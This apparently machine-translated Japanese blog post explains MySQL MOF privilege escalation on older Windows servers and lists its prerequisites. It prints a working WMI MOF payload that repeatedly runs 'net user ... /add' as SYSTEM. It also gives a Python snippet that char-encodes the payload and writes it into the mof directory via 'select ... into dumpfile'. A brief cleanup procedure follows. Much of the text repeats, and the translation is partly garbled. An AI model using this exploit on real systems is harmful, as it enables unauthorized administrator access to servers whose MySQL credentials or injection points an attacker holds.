mysql mofの権利研究について
何気なくmysqlに関するこのような権利主張を見て、暇な時間に研究してみると、ネット上には詳しく書かれていないところがたくさんあり、研究の時もしばらく殻が詰まっていた.
利用前提:オペレーティングシステムはwindows オペレーティングシステムのバージョンは高すぎるべきではありません.2008年のテストに合格しません.2003は(システム32のディレクトリにアクセスする必要があるため)またはmysql起動アイデンティティがc:/windows/system 32/mofディレクトリ にアクセスおよび書き込む権限を持っています.データベースはmysqlであり、mysqlログインアカウントのパスワードと外部接続の許可(またはsql注入またはwebshellでの操作が存在し、実践されていない) を知っている.
まず原理を簡単に紹介する(ネット上と個人の実践から抜粋して得た)
c:/windows/system 32/mofディレクトリのnullevt.mofファイルは5秒ごとに自動的に実行する消失し、その後に新しいファイルが作成されない場合、5秒ごとに前のnullevtがループ実行される.mofの内容は、悪意のあるコードをファイルに書き込むだけです.
ネット上でnullevt.が公開されています.mofでの利用コード
一般的な使用手順は次のとおりです.このファイルをサーバ上の任意の場所にアップロードし、名前は任意の です. mysql文select load_を介してfile(アップロードされたファイルパス)into dumpfile'c:/windows/system 32/mof/nullevt.mof'
はい、アップロードに成功すれば、しばらくすると埋め込まれたコードが実行されます.
個人的にファイルをアップロードするのは面倒だと思いますが、直接select'xx'intoをselectできますか?試して、その内容をトランスコードしてから検索すればいいです.pyコードの一部をプレゼンテーションとして提供します.
mysqlのchar関数を使用して解決
mofはsystemによって実行されるため,権限はユーザの作成,管理者の追加などの操作を満たし,権限付与プロセスを完了する.
サーバがmof権限が使用されていることを発見した場合、ループ作成ユーザーをどのように解決しますか?
cmdを開くには、次のコマンドを使用します.
net stop winmgmt
フォルダの下の内容c:/windows/system 32/wbem/repositoryを削除
net start winmgmt
すぐ
まちがった点はご指摘ください
利用前提:
まず原理を簡単に紹介する(ネット上と個人の実践から抜粋して得た)
c:/windows/system 32/mofディレクトリのnullevt.mofファイルは5秒ごとに自動的に実行する消失し、その後に新しいファイルが作成されない場合、5秒ごとに前のnullevtがループ実行される.mofの内容は、悪意のあるコードをファイルに書き込むだけです.
ネット上でnullevt.が公開されています.mofでの利用コード
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)
WSH.run(\”net.exe user xxx xxx /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
一般的な使用手順は次のとおりです.
はい、アップロードに成功すれば、しばらくすると埋め込まれたコードが実行されます.
個人的にファイルをアップロードするのは面倒だと思いますが、直接select'xx'intoをselectできますか?試して、その内容をトランスコードしてから検索すればいいです.pyコードの一部をプレゼンテーションとして提供します.
mysqlのchar関数を使用して解決
payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")
WSH.run(\"net.exe user xxxx xxx /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
'''
ascii_payload = ''
for each_chr in payload:
ascii_payload += str(ord(each_chr)) + ','
ascii_payload = ascii_payload[:-1]
cur = conn.cursor()
sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload
cur.execute(sql)
mofはsystemによって実行されるため,権限はユーザの作成,管理者の追加などの操作を満たし,権限付与プロセスを完了する.
サーバがmof権限が使用されていることを発見した場合、ループ作成ユーザーをどのように解決しますか?
cmdを開くには、次のコマンドを使用します.
net stop winmgmt
フォルダの下の内容c:/windows/system 32/wbem/repositoryを削除
net start winmgmt
すぐ
まちがった点はご指摘ください